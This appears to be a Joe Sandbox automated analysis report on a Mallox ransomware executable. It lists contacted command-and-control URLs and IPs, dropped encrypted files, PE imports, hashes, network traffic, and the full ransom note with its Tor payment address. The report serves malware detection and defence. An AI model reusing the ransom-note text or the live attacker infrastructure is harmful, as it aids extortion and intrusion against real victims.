00000000.00000003.1517731549.0000023CAFE7E000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1478506610.0000023CAFF3B000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1536625865.0000023CAFF3B000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1546376683.0000023CAFF30000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1546792697.0000023CAFF3B000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1514485603.0000023CAFE80000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1518812177.0000023CAFE7E000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1504591726.0000023CAFF2F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1491535677.0000023CAFF2F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://91.215.85.142/QWEwqdsvsf/ap.phpkz	Ransomware Mallox.exe, 00000000.00000003.1521991452.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.torproject.org/download/	Ransomware Mallox.exe, HOW TO BACK FILES.txt571.0.dr, HOW TO BACK FILES.txt661.0.dr, HOW TO BACK FILES.txt5.0.dr, HOW TO BACK FILES.txt13.0.dr, HOW TO BACK FILES.txt624.0.dr, HOW TO BACK FILES.txt317.0.dr, HOW TO BACK FILES.txt323.0.dr, HOW TO BACK FILES.txt50.0.dr, HOW TO BACK FILES.txt366.0.dr, HOW TO BACK FILES.txt169.0.dr, HOW TO BACK FILES.txt413.0.dr, HOW TO BACK FILES.txt370.0.dr, HOW TO BACK FILES.txt307.0.dr, HOW TO BACK FILES.txt369.0.dr, HOW TO BACK FILES.txt773.0.dr, HOW TO BACK FILES.txt98.0.dr, HOW TO BACK FILES.txt714.0.dr, HOW TO BACK FILES.txt757.0.dr, HOW TO BACK FILES.txt65.0.dr, HOW TO BACK FILES.txt186.0.dr	false		high
http://91.215.85.142/QWEwqdsvsf/ap.php7xM	Ransomware Mallox.exe, 00000000.00000003.1511802024.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1521991452.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1535009034.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1515993832.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1505219295.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1509849904.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1507859258.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1508435716.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1512198939.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1507580206.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.215.85.142/QWEwqdsvsf/ap.phpNxw	Ransomware Mallox.exe, 00000000.00000003.1548290712.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1948626824.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1546299993.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1696834790.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1535009034.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1699524403.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1542067078.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1545040056.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1928997675.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1547580317.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1551313529.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1692939049.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1537894611.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1559096802.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1700357889.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1979510307.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1558037196.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1930536289.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1549649553.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1811590111.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1976418160.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.215.85.142/ows	Ransomware Mallox.exe, 00000000.00000003.1455252517.0000023CAFEA7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.215.85.142/QWEwqdsvsf/ap.phppxM	Ransomware Mallox.exe, 00000000.00000003.1495367476.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1490580877.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1487434442.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1503545999.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1487048074.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1489751960.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1494233966.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1496750386.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1491235259.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://api.ipify.orgx32x64%s	Ransomware Mallox.exe	false	Avira URL Cloud: safe	unknown
http://api.ipify.org	Ransomware Mallox.exe, 00000000.00000003.1735001126.0000023CADEA1000.00000004.00000020.00020000.00000000.sdmp	false		high

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.26.12.205	api.ipify.org	United States		13335	CLOUDFLARENETUS	false
91.215.85.142	unknown	Russian Federation		34665	PINDC-ASRU	true

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1549252
Start date and time:	2024-11-05 13:22:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Ransomware Mallox.exe
Detection:	MAL
Classification:	mal100.rans.spyw.evad.winEXE@12/1242@1/5
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption

Time	Type	Description
07:23:26	API Interceptor	6x Sleep call for process: Ransomware Mallox.exe modified
13:23:51	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HOW TO BACK FILES.txt

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.12.205	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	6706e721f2c06.exe	Get hash	malicious	Remcos	Browse	api.ipify.org/
	perfcc.elf	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	hloRQZmlfg.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
91.215.85.142	SecuriteInfo.com.Trojan.DownLoaderNET.960.9931.28151.exe	Get hash	malicious	PureLog Stealer, Targeted Ransomware	Browse	91.215.85.142/QWEwqdsvsf/ap.php
	SecuriteInfo.com.Win64.RATX-gen.31127.4101.exe	Get hash	malicious	PureLog Stealer, Targeted Ransomware	Browse	91.215.85.142/QWEwqdsvsf/ap.php
	SecuriteInfo.com.Win32.RansomX-gen.11727.25490.exe	Get hash	malicious	Targeted Ransomware, TrojanRansom	Browse	91.215.85.142/QWEwqdsvsf/ap.php
	_145.exe	Get hash	malicious	Targeted Ransomware, TrojanRansom	Browse	91.215.85.142/QWEwqdsvsf/ap.php
	Hhwsbefq.exe	Get hash	malicious	Targeted Ransomware	Browse	91.215.85.142/QWEwqdsvsf/ap.php
	a.bin.exe	Get hash	malicious	Targeted Ransomware, TrojanRansom	Browse	91.215.85.142/QWEwqdsvsf/ap.php
	ozon.bin.exe	Get hash	malicious	Targeted Ransomware, TrojanRansom	Browse	91.215.85.142/QWEwqdsvsf/ap.php
	4cGFnkiRf2.exe	Get hash	malicious	Targeted Ransomware	Browse	91.215.85.142/QWEwqdsvsf/ap.php

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	http://mibc-gtp.bigdatapppp.com/api/mibc-bd/gs/log	Get hash	malicious	Unknown	Browse	13.107.246.45
	http://azurearc-cdn.top/f15.svg	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	https://lifetraces.org/wp-cron.php	Get hash	malicious	Phisher	Browse	13.107.246.45
	COTIZACION.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	13.107.246.45
	https://outlook.office.com@www.nescini.com/wp-content/uploads/2024/10/JTe86LlZl2-nfET-jEQ0WO-6.htm	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://QBE.fmgconnect.co.uk/login?crn=QBE04487166	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	13.107.246.45
	https://www.canva.com/design/DAGVlowNqco/LaGv3kp6ecOkwIXDSEYQLQ/view?utm_content=DAGVlowNqco&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	13.107.246.45
	2877872483264021301.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
api.ipify.org	COTIZACION.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.12.205
	REVISED PO NO.8389.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	https://www.canva.com/design/DAGVlowNqco/LaGv3kp6ecOkwIXDSEYQLQ/view?utm_content=DAGVlowNqco&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	104.26.12.205
	Shipping documents.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.74.152
	DB_DHL_AWB_001833022AD.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	Payslip_October_2024.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	CFuejz2dRu.exe	Get hash	malicious	Discord Token Stealer	Browse	104.26.13.205
	CFuejz2dRu.exe	Get hash	malicious	Discord Token Stealer	Browse	104.26.13.205
	2b7cu0KwZl.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	2b7cu0KwZl.exe	Get hash	malicious	Unknown	Browse	104.26.13.205

Process:	C:\Users\user\Desktop\Ransomware Mallox.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.764173461001785
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIs/pPR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV59jpZTPnv0AVCh
MD5:	6DDFF72889E32381AFDC270CC8EC3394
SHA1:	9BA2588C500BBE558A7DFF173EAE2F23576B10DD
SHA-256:	F8BCDB525719DC59A0AEA71CF563C2674A76D6354BAC320F707327F27BB8DAA2
SHA-512:	FEFE0EF592802132AAEEC075A257FCC72B5C75F3EF3E2A66CECCF6049666D8EDB0DD27F0215E45DB8788A064CCB660130546EB10AEB748365404C5F920636266
Malicious:	true
Reputation:	low
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 9012E04F2C4927607FA56A90..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Ransomware Mallox.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1000\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local Settings\Adobe\Acrobat\DC\IconCacheAcro65536.dat.mallab (copy)

C:\Documents and Settings\user\Local Settings\Adobe\Acrobat\DC\SharedDataEvents.mallab (copy)

C:\Documents and Settings\user\Local Settings\Comms\UnistoreDB\USSres00001.jrs.mallab (copy)

C:\Documents and Settings\user\Local Settings\Comms\UnistoreDB\USSres00002.jrs.mallab (copy)

C:\Documents and Settings\user\Local Settings\Comms\UnistoreDB\USStmp.jtx.mallab (copy)

C:\Documents and Settings\user\Local Settings\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D.mallab (copy)

C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Ad Blocking\blocklist.mallab (copy)

C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Autofill\4.0.0.8\edge_autofill_field_data.json.mallab (copy)

C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Autofill\4.0.0.8\v1FieldTypes.json.mallab (copy)

C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651E8F64-1910.pma.mallab (copy)

C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651E902E-1634.pma.mallab (copy)

C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651E9065-1B98.pma.mallab (copy)

C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\CertificateRevocation\6498.2023.8.1\crl-set.mallab (copy)

C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log.mallab (copy)

Windows Analysis Report
Ransomware Mallox.exe

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.287523841585097
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Ransomware Mallox.exe
File size:	354'304 bytes
MD5:	9099859494363864de61fb30d6c201e6
SHA1:	90378c5fd151128287c12eea0ea3761833b0ad03
SHA256:	06699c98ed2ef759b2434ac5777a2886b966c0ffa1c96c046f5cde77fe833784
SHA512:	cae8c4970c6d8891d2da8924e6ba2331242c112ee5eec5823d8e55c29b40822b0f4287b64e5b6b5d71c0aa2cb8b998ac4533e2dd6326af820f29e9e5eadd59ba
SSDEEP:	6144:lbjhsyXpHunpQE/T/iSIDexeohXdbVeb:7XpOpplI8eoT
TLSH:	04748D69F7E518F8E4B78278C9774606DB72BC990771C76F2364421A1F336908D3AB22
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........v..k...k...k.......k......2k.......k.......k.......k.......k.......k.......k...k..Nk..\....k..\....k..Rich.k.................

Entrypoint:	0x14001ad04
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x65135725 [Tue Sep 26 22:11:49 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	4bd606c718af0826328ff544bde85fea

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x511ac	0xc8	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x5b000	0x294c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5f000	0xef4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x4ce40	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4d000	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x4ce80	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x37000	0x650	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x35b48	0x35c00	2a6a1cb7f87491a1cb023cf985f699c3	False	0.5374909156976744	data	6.554705414547306	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x37000	0x1b74e	0x1b800	d686349860b3615a6cfa8501c60f3c7e	False	0.41923828125	data	4.965134701094027	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x53000	0x7e6c	0x1400	60ddfa8df67e1a2954498f41e81160e9	False	0.172265625	data	2.890313720462923	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x5b000	0x294c	0x2a00	05c1886859ca0374e57f3b250c5d4cb0	False	0.4732142857142857	data	5.488057275468043	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x5e000	0xfc	0x200	a3a1f72434b7ce7d5090ff135016145d	False	0.3203125	data	2.4524994986336286	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x5f000	0xef4	0x1000	a4e1a4b83b03efd16ac28f2f80c8771d	False	0.437744140625	data	5.304977907639923	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

DLL	Import
KERNEL32.dll	Sleep, CreateFileA, SetEvent, GetDiskFreeSpaceExW, GetCurrentThread, TerminateThread, LoadLibraryA, GetNativeSystemInfo, CreateThread, GetWindowsDirectoryA, SetVolumeMountPointW, GetWindowsDirectoryW, GetProcAddress, SetFilePointerEx, DeleteCriticalSection, ExitProcess, GetCurrentProcessId, GetModuleHandleW, CopyFileW, WideCharToMultiByte, GetVolumePathNamesForVolumeNameW, lstrcpyW, SleepEx, GetDiskFreeSpaceExA, CreateEventA, FindNextVolumeW, lstrcmpiW, CreateIoCompletionPort, GetTickCount, lstrcmpW, MoveFileW, GetDriveTypeW, GetFileTime, GetComputerNameA, TerminateProcess, OpenProcess, MultiByteToWideChar, Process32NextW, QueryDosDeviceW, DuplicateHandle, CreateEventW, FindVolumeClose, GetFileType, GetTickCount64, lstrcatW, GetSystemInfo, GlobalMemoryStatusEx, WriteConsoleW, SetEndOfFile, ReadConsoleW, HeapSize, GetConsoleMode, GetConsoleOutputCP, FlushFileBuffers, SetFileAttributesW, PostQueuedCompletionStatus, GetLocaleInfoA, GetModuleHandleA, GetCurrentThreadId, GetFileAttributesW, CreateFileW, WaitForSingleObject, FindClose, lstrlenA, GetQueuedCompletionStatus, SetErrorMode, InitializeCriticalSection, LeaveCriticalSection, WaitForMultipleObjects, GetModuleFileNameW, GetUserDefaultLangID, WriteFile, FindNextFileW, GetCommandLineW, EnterCriticalSection, lstrlenW, FindFirstVolumeW, FindFirstFileExW, GetFileSizeEx, GetLogicalDrives, GetVolumeInformationW, ReadFile, LocalFree, CloseHandle, GetLastError, GetCurrentProcess, SetStdHandle, GetProcessHeap, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, GetOEMCP, GetACP, IsValidCodePage, EnumSystemLocalesW, GetUserDefaultLCID, IsValidLocale, GetLocaleInfoW, LCMapStringW, QueryPerformanceCounter, CreateToolhelp32Snapshot, HeapAlloc, HeapFree, HeapReAlloc, GetStdHandle, GetModuleHandleExW, LoadLibraryExW, FreeLibrary, TlsFree, TlsSetValue, TlsGetValue, TlsAlloc, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsProcessorFeaturePresent, InitializeCriticalSectionAndSpinCount, ResetEvent, WaitForSingleObjectEx, IsDebuggerPresent, GetStartupInfoW, GetSystemTimeAsFileTime, InitializeSListHead, GetStringTypeW, InitializeCriticalSectionEx, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, RtlUnwindEx, RtlPcToFileHeader, RaiseException, SetLastError
USER32.dll	CreateWindowExW, GetCursorPos, MessageBoxW, DefWindowProcW, RegisterClassW
ADVAPI32.dll	CryptAcquireContextW, OpenProcessToken, SetNamedSecurityInfoW, ControlService, EnumDependentServicesW, QueryServiceConfigW, ChangeServiceConfigW, OpenServiceW, EnumServicesStatusW, QueryServiceStatusEx, CreateServiceW, RegCloseKey, CloseServiceHandle, RegQueryValueExA, CryptGenRandom, OpenSCManagerW, RegSetValueExW, StartServiceW, RegOpenKeyExA, RegOpenKeyExW, OpenThreadToken, CryptReleaseContext, GetTokenInformation, LookupPrivilegeValueW, AdjustTokenPrivileges, AllocateAndInitializeSid, SetEntriesInAclW, FreeSid
SHELL32.dll	CommandLineToArgvW, ShellExecuteW
NETAPI32.dll	NetShareEnum, NetApiBufferFree
SHLWAPI.dll	wnsprintfA, StrCmpNIW, StrCmpNW, StrStrIW, PathFileExistsW, SHDeleteKeyW, UrlUnescapeA, UrlEscapeA, wnsprintfW
IPHLPAPI.DLL	GetIpNetTable
WS2_32.dll	inet_ntoa
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetConnectW, InternetSetOptionW, InternetCrackUrlW, InternetOpenW, InternetQueryOptionW, HttpOpenRequestW, InternetReadFile, HttpSendRequestW

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 5, 2024 13:23:24.832098007 CET	49769	80	192.168.2.10	104.26.12.205
Nov 5, 2024 13:23:24.837521076 CET	80	49769	104.26.12.205	192.168.2.10
Nov 5, 2024 13:23:24.837718964 CET	49769	80	192.168.2.10	104.26.12.205
Nov 5, 2024 13:23:24.837909937 CET	49769	80	192.168.2.10	104.26.12.205
Nov 5, 2024 13:23:24.842813015 CET	80	49769	104.26.12.205	192.168.2.10
Nov 5, 2024 13:23:25.543059111 CET	80	49769	104.26.12.205	192.168.2.10
Nov 5, 2024 13:23:25.556324959 CET	49769	80	192.168.2.10	104.26.12.205
Nov 5, 2024 13:23:26.191431999 CET	49781	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:26.196254969 CET	80	49781	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:26.196475029 CET	49781	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:26.198463917 CET	49781	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:26.203358889 CET	80	49781	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:27.088351011 CET	80	49781	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:27.088594913 CET	80	49781	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:27.089068890 CET	80	49781	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:27.089334011 CET	80	49781	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:27.089859962 CET	80	49781	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:27.089871883 CET	80	49781	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:27.090830088 CET	80	49781	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:27.090842009 CET	80	49781	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:27.091964960 CET	80	49781	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:27.091976881 CET	80	49781	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:27.093029022 CET	49781	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:27.093765020 CET	49781	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:27.358820915 CET	49781	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:27.364276886 CET	80	49781	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:27.364300013 CET	49788	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:27.365767002 CET	49781	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:27.369313002 CET	80	49788	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:27.375403881 CET	49788	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:27.400510073 CET	49788	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:27.405335903 CET	80	49788	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:28.270083904 CET	80	49788	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:28.270253897 CET	80	49788	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:28.270766973 CET	80	49788	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:28.270956039 CET	80	49788	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:28.270967007 CET	80	49788	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:28.271152973 CET	49788	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:28.271835089 CET	80	49788	91.215.85.142	192.168.2.10
